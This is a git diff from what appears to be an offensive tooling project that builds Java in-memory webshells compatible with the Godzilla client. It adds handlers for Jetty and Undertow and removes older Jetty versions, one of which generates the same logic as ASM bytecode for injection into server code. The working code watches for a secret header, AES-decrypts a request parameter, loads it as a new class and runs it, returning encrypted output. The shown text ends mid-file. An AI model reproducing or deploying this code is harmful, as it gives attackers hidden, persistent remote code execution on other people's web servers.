mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder object - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, curParameterIndex); // Load parameter - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "[B"); - mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store data in local var 10 - - mv.visitJumpInsn(Opcodes.GOTO, afterBase64Decode); - - // Catch block for fallback to sun.misc.BASE64Decoder - mv.visitLabel(base64DecodeCatch); - mv.visitVarInsn(Opcodes.ASTORE, base64ExceptionIndex); // Store exception in local var 13 - - // base64 = Class.forName("sun.misc.BASE64Decoder", true, - // Thread.currentThread().getContextClassLoader()); - mv.visitLdcInsn("sun.misc.BASE64Decoder"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader", - "()Ljava/lang/ClassLoader;", false); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName", - "(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false); - mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 11 - - // Object decoder = base64.newInstance(); - mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance", "()Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, decoderClassIndex); // Store decoder in local var 12 - - // data = (byte[]) decoder.getClass().getMethod("decodeBuffer", - // String.class).invoke(decoder, parameter); - mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); - mv.visitLdcInsn("decodeBuffer"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, curParameterIndex); // Load parameter - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "[B"); - mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store data in local var 10 - - mv.visitLabel(afterBase64Decode); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java new file mode 100644 index 00000000..fb2f34fa --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java @@ -0,0 +1,133 @@ +package com.reajason.javaweb.memshell.shelltool.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; +import java.io.PrintWriter; + +/** + * @author ReaJason + */ +public class GodzillaJettyHandler extends ClassLoader { + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; + + public GodzillaJettyHandler() { + } + + public GodzillaJettyHandler(ClassLoader z) { + super(z); + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object baseRequest = null; + Object request = null; + Object response = null; + if (args.length == 4) { + Object arg4 = args[3]; + baseRequest = args[1]; + if (arg4 instanceof Integer) { + // jetty6 + request = args[1]; + response = args[2]; + } else { + request = args[2]; + response = args[3]; + } + } else { + // ee10 + request = args[0]; + response = args[1]; + } + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + if (baseRequest != null) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + } + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = base64Decode(parameter); + data = this.x(data, false); + Object session = request.getClass().getMethod("getSession").invoke(request); + Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload"); + if (sessionPayload == null) { + session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).Q(data)); + } else { + request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) sessionPayload).newInstance(); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + f.equals(arrOut); + f.equals(request); + writer.write(md5.substring(0, 16)); + f.toString(); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java new file mode 100644 index 00000000..9eac3618 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java @@ -0,0 +1,119 @@ +package com.reajason.javaweb.memshell.shelltool.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; +import java.io.PrintWriter; + +/** + * @author ReaJason + */ +public class GodzillaUndertowServletHandler extends ClassLoader { + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; + + public GodzillaUndertowServletHandler() { + } + + public GodzillaUndertowServletHandler(ClassLoader z) { + super(z); + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + try { + Object servletRequestContext = null; + if (args.length == 2) { + servletRequestContext = args[1]; + } else { + servletRequestContext = args[2]; + } + Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); + Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = base64Decode(parameter); + data = this.x(data, false); + Object session = request.getClass().getMethod("getSession").invoke(request); + Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload"); + if (sessionPayload == null) { + session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new GodzillaUndertowServletHandler(Thread.currentThread().getContextClassLoader())).Q(data)); + } else { + request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) sessionPayload).newInstance(); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + f.equals(arrOut); + f.equals(request); + writer.write(md5.substring(0, 16)); + f.toString(); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/jetty/GodzillaHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/jetty/GodzillaHandlerAdvisor.java deleted file mode 100644 index 36fdbcf3..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/jetty/GodzillaHandlerAdvisor.java +++ /dev/null @@ -1,87 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.godzilla.jetty; - -import net.bytebuddy.asm.Advice; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import java.io.ByteArrayOutputStream; -import java.io.PrintWriter; -import java.lang.reflect.Method; - -/** - * @author ReaJason - */ -public class GodzillaHandlerAdvisor { - - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.Argument(value = 1) Object baseRequest, - @Advice.Argument(value = 2) Object request, - @Advice.Argument(value = 3) Object response - ) { - String key = "key"; - String pass = "pass"; - String md5 = "md5"; - String headerName = "headerName"; - String headerValue = "headerValue"; - try { - String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); - if (value != null - && value.contains(headerValue)) { - baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); - String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); - byte[] data = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); - } - Cipher c = Cipher.getInstance("AES"); - SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES"); - c.init(2, keySpec); - data = c.doFinal(data); - Object session = request.getClass().getMethod("getSession").invoke(request); - Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload"); - if (sessionPayload == null) { - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); - session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload); - } else { - request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) sessionPayload).newInstance(); - f.equals(arrOut); - f.equals(request); - PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); - writer.write(md5.substring(0, 16)); - f.toString(); - - c.init(1, keySpec); - byte[] encryptBytes = c.doFinal(arrOut.toByteArray()); - String result = null; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes); - } - writer.write(result); - writer.write(md5.substring(16)); - } - return true; - } - } catch (Exception e) { - e.printStackTrace(); - } - return false; - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/jetty/GodzillaHandlerAsmMethodVisitor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/jetty/GodzillaHandlerAsmMethodVisitor.java deleted file mode 100644 index 1b5884a5..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/jetty/GodzillaHandlerAsmMethodVisitor.java +++ /dev/null @@ -1,915 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.godzilla.jetty; - -import org.objectweb.asm.Label; -import org.objectweb.asm.MethodVisitor; -import org.objectweb.asm.Opcodes; -import org.objectweb.asm.Type; - -public class GodzillaHandlerAsmMethodVisitor extends MethodVisitor { - - Type[] argTypes; - - public GodzillaHandlerAsmMethodVisitor(MethodVisitor mv, Type[] argTypes) { - super(Opcodes.ASM9, mv); - this.argTypes = argTypes; - } - - @Override - public void visitCode() { - super.visitCode(); - - int startIndex = 1; - for (Type type : argTypes) { - startIndex += type.getSize(); - } - - int keyIndex = startIndex; - int passIndex = startIndex + 1; - int md5Index = startIndex + 2; - int headerNameIndex = startIndex + 3; - int headerValueIndex = startIndex + 4; - int curHeaderIndex = startIndex + 5; - int curParameterIndex = startIndex + 6; - int dataIndex = startIndex + 7; - int base64ClassIndex = startIndex + 8; - int decoderClassIndex = startIndex + 9; - int base64ExceptionIndex = startIndex + 10; - int cipherClassIndex = startIndex + 11; - int secretKeySpecClassIndex = startIndex + 12; - int keyClassIndex = startIndex + 13; - int cipherInitMethodIndex = startIndex + 14; - int doFinalMethodIndex = startIndex + 15; - int cipherIndex = startIndex + 16; - int secretKeySpecIndex = startIndex + 17; - int sessionIndex = startIndex + 18; - int sessionPayloadIndex = startIndex + 19; - int defineClassIndex = startIndex + 20; - int payloadClassIndex = startIndex + 21; - int arrOutIndex = startIndex + 22; - int instanceIndex = startIndex + 23; - int writerIndex = startIndex + 24; - int encryptBytesIndex = startIndex + 25; - int encoderClassIndex = startIndex + 26; - int resultIndex = startIndex + 27; - int base64EncodeExceptionIndex = startIndex + 28; - - int outerExceptionIndex = startIndex + 26; - - // Access method arguments - adjust based on whether method is static or not - int baseRequestIndex = 2; // Arg index 1 - int requestIndex = 3; // Arg index 2 - int responseIndex = 4; // Arg index 3 - - // Define constants - mv.visitLdcInsn("key"); - mv.visitVarInsn(Opcodes.ASTORE, keyIndex); - mv.visitLdcInsn("pass"); - mv.visitVarInsn(Opcodes.ASTORE, passIndex); - mv.visitLdcInsn("md5"); - mv.visitVarInsn(Opcodes.ASTORE, md5Index); - mv.visitLdcInsn("headerName"); - mv.visitVarInsn(Opcodes.ASTORE, headerNameIndex); - mv.visitLdcInsn("headerValue"); - mv.visitVarInsn(Opcodes.ASTORE, headerValueIndex); - - // Define labels for try-catch - Label tryStart = new Label(); - Label tryEnd = new Label(); - Label catchHandler = new Label(); - - // Register try-catch block - mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception"); - - // Start of try block - mv.visitLabel(tryStart); - - getHeaderValue(requestIndex, headerNameIndex, curHeaderIndex); - - // if (value != null && value.contains(headerValue)) - mv.visitVarInsn(Opcodes.ALOAD, curHeaderIndex); // Load value - Label ifNullLabel = new Label(); - mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel); - - mv.visitVarInsn(Opcodes.ALOAD, curHeaderIndex); // Load value - mv.visitVarInsn(Opcodes.ALOAD, headerValueIndex); // Load headerValue - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "contains", - "(Ljava/lang/CharSequence;)Z", false); - mv.visitJumpInsn(Opcodes.IFEQ, ifNullLabel); - - // Set baseRequest.setHandled(true) - mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); - mv.visitLdcInsn("setHandled"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Boolean", "TYPE", "Ljava/lang/Class;"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Boolean", "valueOf", "(Z)Ljava/lang/Boolean;", false); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitInsn(Opcodes.POP); - - getParameterValue(requestIndex, passIndex, curParameterIndex); - - // Declare data variable - mv.visitInsn(Opcodes.ACONST_NULL); - mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store null in data (local var 10) - - tryDecodeBase64(base64ClassIndex, decoderClassIndex, curParameterIndex, dataIndex, base64ExceptionIndex); - - decryptData(cipherClassIndex, secretKeySpecClassIndex, keyClassIndex, cipherInitMethodIndex, doFinalMethodIndex, cipherIndex, keyIndex, secretKeySpecIndex, dataIndex); - - getSessionPayload(requestIndex, sessionIndex, sessionPayloadIndex); - - // if (sessionPayload == null) - mv.visitVarInsn(Opcodes.ALOAD, sessionPayloadIndex); // Load sessionPayload - Label sessionPayloadNotNull = new Label(); - mv.visitJumpInsn(Opcodes.IFNONNULL, sessionPayloadNotNull); - - defineClassWhenFirstInvoke(defineClassIndex, dataIndex, payloadClassIndex, sessionIndex); - - // Else branch - sessionPayload is not null - mv.visitLabel(sessionPayloadNotNull); - - // request.getClass().getMethod("setAttribute", String.class, Object.class) - // .invoke(request, "parameters", data); - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("setAttribute"); - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitLdcInsn(Type.getType("Ljava/lang/Object;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn("parameters"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitInsn(Opcodes.POP); - - // ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - mv.visitTypeInsn(Opcodes.NEW, "java/io/ByteArrayOutputStream"); - mv.visitInsn(Opcodes.DUP); - mv.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/io/ByteArrayOutputStream", - "", "()V", false); - mv.visitVarInsn(Opcodes.ASTORE, arrOutIndex); // Store arrOut in local var 25 - - // Object f = ((Class) sessionPayload).newInstance(); - mv.visitVarInsn(Opcodes.ALOAD, sessionPayloadIndex); // Load sessionPayload - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/Class"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance", - "()Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, instanceIndex); // Store f in local var 26 - - // f.equals(arrOut); - mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f - mv.visitVarInsn(Opcodes.ALOAD, arrOutIndex); // Load arrOut - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "equals", - "(Ljava/lang/Object;)Z", false); - mv.visitInsn(Opcodes.POP); // Discard result - - // f.equals(request); - mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "equals", - "(Ljava/lang/Object;)Z", false); - mv.visitInsn(Opcodes.POP); // Discard result - - // PrintWriter writer = (PrintWriter) - // response.getClass().getMethod("getWriter").invoke(response); - mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getWriter"); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/PrintWriter"); - mv.visitVarInsn(Opcodes.ASTORE, writerIndex); // Store writer in local var 27 - - // writer.write(md5.substring(0, 16)); - mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer - mv.visitVarInsn(Opcodes.ALOAD, md5Index); // Load md5 - mv.visitInsn(Opcodes.ICONST_0); - mv.visitIntInsn(Opcodes.BIPUSH, 16); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "substring", - "(II)Ljava/lang/String;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write", - "(Ljava/lang/String;)V", false); - - // f.toString(); - mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "toString", - "()Ljava/lang/String;", false); - mv.visitInsn(Opcodes.POP); // Discard result - - // Re-initialize cipher for encryption - // cipherInitMethod.invoke(cipher, 1, secretKeySpec); - mv.visitVarInsn(Opcodes.ALOAD, cipherInitMethodIndex); // Load cipherInitMethod - mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitInsn(Opcodes.ICONST_1); // Constant 1 for Cipher.ENCRYPT_MODE - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf", - "(I)Ljava/lang/Integer;", false); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecIndex); // Load secretKeySpec - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitInsn(Opcodes.POP); - - // byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher, - // arrOut.toByteArray()); - mv.visitVarInsn(Opcodes.ALOAD, doFinalMethodIndex); // Load doFinalMethod - mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, arrOutIndex); // Load arrOut - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/ByteArrayOutputStream", - "toByteArray", "()[B", false); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "[B"); - mv.visitVarInsn(Opcodes.ASTORE, encryptBytesIndex); // Store encryptBytes in local var 28 - - tryEncodeBase64(base64ClassIndex, encoderClassIndex, encryptBytesIndex, resultIndex, base64EncodeExceptionIndex); - - // writer.write(result); - mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer - mv.visitVarInsn(Opcodes.ALOAD, resultIndex); // Load result - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write", - "(Ljava/lang/String;)V", false); - - // writer.write(md5.substring(16)); - mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer - mv.visitVarInsn(Opcodes.ALOAD, md5Index); // Load md5 - mv.visitIntInsn(Opcodes.BIPUSH, 16); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "substring", - "(I)Ljava/lang/String;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write", - "(Ljava/lang/String;)V", false); - - // Return from the method without calling original doFilter - mv.visitInsn(Opcodes.RETURN); - - // Label for when header value doesn't match - 